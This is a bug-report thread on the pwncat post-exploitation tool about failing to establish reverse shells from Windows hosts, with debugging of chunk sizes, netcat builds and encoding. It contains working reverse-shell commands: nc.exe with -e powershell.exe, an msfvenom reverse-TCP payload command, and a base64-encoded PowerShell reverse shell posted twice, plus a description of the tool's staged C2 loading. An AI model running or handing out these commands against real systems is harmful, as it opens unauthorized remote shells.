Unable to establish reverse shell on windows

[3m0W33D]

Bug Description

I am unsure if this is a bug or it is not supported by pwncat, so I am posting this to clarify and check. I am unable to establish a reverse shell from any windows machine with nc.exe.

pwncat version

Docker pwncat build from git repo

0.4.3

Target System (aka "victim")

Most windows machine that I have tried. In my own VM that I tested, it was windows 10 Educational version 1903 build 18362.239

Steps to Reproduce

Steps to reproduce the behavior:

1. pwncat -lp 4444 -m windows (attacker machine)
2. nc.exe IP PORT -e powershell.exe (windows victim)

Expected Behavior

pwncat should be able to establish reverse shell

Screenshots

[Mitul16]

Hey @3m0W33D, may you please verify about the status of Windows Defender service? It may be the case that it is causing the nc.exe -e powershell.exe ... command to terminate abrupty.

[3m0W33D]

Hi I have tested with a normal netcat shell E.g nc -lvnp 4444 . And this command nc.exe IP PORT -e powershell.exe does connect back to me with a reverse shell.

However, pwncat does not connect and still errors out.

Also regarding Windows Defender service, I have tried enabling and disabling windows in both cases pwncat still doesnt want to establish reverse shell.

[Mitul16]

I have ran the same tests, .\nc.exe -e powershell.exe IP PORT works without pwncat The first thing pwncat does is send a chunk of a stageone.dll file in base64 encoded form to be saved in C:\Windows\Tasks\ (one of the possible writable directories) and receives no output from Windows system And thus we get connection timed out, but the connection is still alive (no TCP RST)

echo TVqQ...snipped...agMQ >"\Windows\Tasks\RANDOM"

What pwncat sends

EDIT Removed false results

[Mitul16]

pwncat doesn't seem to be having any issues here, instead sending large data seems to be causing the issue as shown below

In my tests, I found that anything above 340 characters length returned no response If we lower the value of chunk_sz in pwncat/platform/windows.py to about 200 (excluding the path and echo text), then stageone seems to be passing but we do not receive READY which pwncat expects

[calebstewart]

Sorry, I've been busy and haven't been following this. Sending that chunk won't produce a "READY" message. Basically, what's happening is that there's no easy/parse-able way to query for write permissions on a directory. Instead, we loop through all possible writable directories and try to write the first chunk of the encoded "stage one" payload. If the first write succeeds, then we know we have write permissions. After that, we write all the other chunks to complete a base64-encoded stage one. After that is done, we decode stage one, and load it with Install Util. Stage one prints "READY" after it has loaded fully. Due to the way buffering of IO works, we need to wait for that process to be up and running before writing data on the socket. Next, it sends stage two gzipped/encoded which is reflectively loaded and again reports "READY" after it is loaded. At which point, the C2 should be functioning properly.

Prior to getting the C2 up and running, the interaction with the remote host is... unstable... We are manually "typing" commands into whatever shell is there, and reading results back. It's kind of like what the linux platform does, but doing it on Windows is clunky at best. It's possible the chunk size is too large for some versions of windows, and if adjusting that fixes the problem, then I'm fine with it (obviously, the larger the chunk size, the faster the upload, but if we have to trim it down, then :shrug:).

I'll try to see if I can reproduce this problem on my own as well, and let y'all know if I come up with a more concrete cause.

[calebstewart]

It's also worth asking: which nc.exe are you using? There's a few floating around the internet and I believe one of them had some weird IO transformations that messed up pwncat.

Just in case, does this still happen with either a msfvenom-generated EXE payload (msfvenom -f exe -o payload.exe -p windows/x64/shell_reverse_tcp LHOST=$IP LPORT=$PORT) or with nmap-ncat? I know for a fact that those two should work since that's what I test with a lot.

[Mitul16]

I have used /usr/share/windows-resources/binaries/nc.exe from my Kali system, this is having issues msfvenom payload and /usr/share/windows-resources/ncat/ncat.exe seem to be working fine

I have tested using Windows 10 Build 19041

[calebstewart]

I can't find any reference to where that executable actually comes from in Kali, but the Eternallybored version of netcat is everywhere and has a really dumb (imho) implementation of the read/write threads. It buffers on line, and explicitly exits if it sees exit\r\n. This is a huge problem if the thing you are running isn't powershell.exe or cmd.exe, and breaks in any other case.

If there was a code repo somewhere, I'd submit an issue but there isn't. You can see the (main) cause of issues in SessionWriteShellThreadFn in doexec.c (the source is in the zip archive you download from eternallybored above). I can't fix this, and it is fundamentally broken. And yet, a large chunk of the internet has decided to use that implementation.

However, again, I have no clue where the one in Kali comes from. I can't find any mention or reference to where they got it from or where the source for that version of netcat is.

Update

It appears the nc.exe in Kali is an 10-15 year old version of netcat 1.10 (eternallybored distributes netcat-1.12, which is already extremely old). The actual root source of "netcat NT" appears to be hard to track down (it seems only forks exist and the newest version I believe is 1.12 from 1998). I'm not sure what I can really do except maybe update the documentation to explicitly state that those versions of netcat are broken.

[3m0W33D]

Yes I am using the same netcat version as @Mitul16, and a regular msfvenom payload works fine without any issues! Just the netcat version in kali.

[Mitul16]

I was working on data encoding and confused with a different issue https://github.com/calebstewart/pwncat/issues/155 This comment is thus off-topic for the current issue.

@trevorbryant There is not much that can be done, since pwncat works on a basic shell and upgrades it. Unlike meterpreter or similar tools, pwncat doesn't require any binary/executable/script on the victim machine to get another connection and start its work.

Thus there are only a few workarounds for this issue. Moreover, it was not pwncat that caused this issue if we take a look from the very outside. The channel being used for the connection was causing the data being transfered to be interpreted as utf-8 (as far I have analysed the case) which kind of clobbered the bytes in the range 0-127 (0x00 - 0x7f) And as discussed above, it was an encoding issue.

One possible and clearly evident approach would be to switch to base64 or base85 This would require some changes from raw to base64 in pwncat/data/gtfobins.json and some minor changes into upload and download command modules.

It is upto Caleb if he would like this switch. I will see what I can do to suppress this issue as much as possible and at least inform the user if it can't be done for some possible reason.

[Kinny092]

I am also using the msfvenom payload, x86 reverse tcp shell but pwncat connects with my windows box for a moment and fails. connection failed: channel received timeout. looks like there is no TCP RST for me too.

Update: it is now working, x86 does not work, x64 works.

[jalvarezit]

Not sure if it's the same issue but got the same error when trying to connect to a windows box. Here is what I've used: Listener:

pwncat -m windows -l -p 9000

Reverse (powershell base64 encoded from this page):

powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMgA0ADkAIgAsADkAMAAwADAAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA

[laurensk]

Not sure if it's the same issue but got the same error when trying to connect to a windows box. Here is what I've used: Listener:

pwncat -m windows -l -p 9000

Reverse (powershell base64 encoded from this page):

powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMgA0ADkAIgAsADkAMAAwADAAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA

I also get this error. Can somebody confirm that this might be the same issue?